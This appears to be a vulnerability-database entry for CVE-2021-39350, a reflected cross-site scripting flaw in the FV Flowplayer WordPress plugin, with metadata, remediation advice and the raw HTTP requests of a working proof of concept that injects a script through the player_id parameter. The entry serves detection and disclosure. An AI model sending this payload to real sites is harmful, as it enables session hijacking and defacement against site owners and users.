| Title | FV Flowplayer Video Player WordPress plugin - Authenticated Cross-Site Scripting |
|---|---|
| Author | gy741 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an authenticated attacker to execute arbitrary JavaScript code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the FV Flowplayer Video Player WordPress plugin to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.16614 |
| CVE ID | CVE-2021-39350 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wpscan wordpress xss wp wp-plugin authenticated foliovision vuln |
The FV Flowplayer Video Player WordPress plugin is vulnerable to Reflected Cross-Site Scripting via the player_id parameter found in the ~/view/stats.php file which allows attackers to inject arbitrary web scripts in versions 7.5.0.727 - 7.5.2.727.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=ioPGpC&pwd=amR0k3&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=fv_player_stats&player_id=1</script><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39350.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-39350.pcap
N/AN/A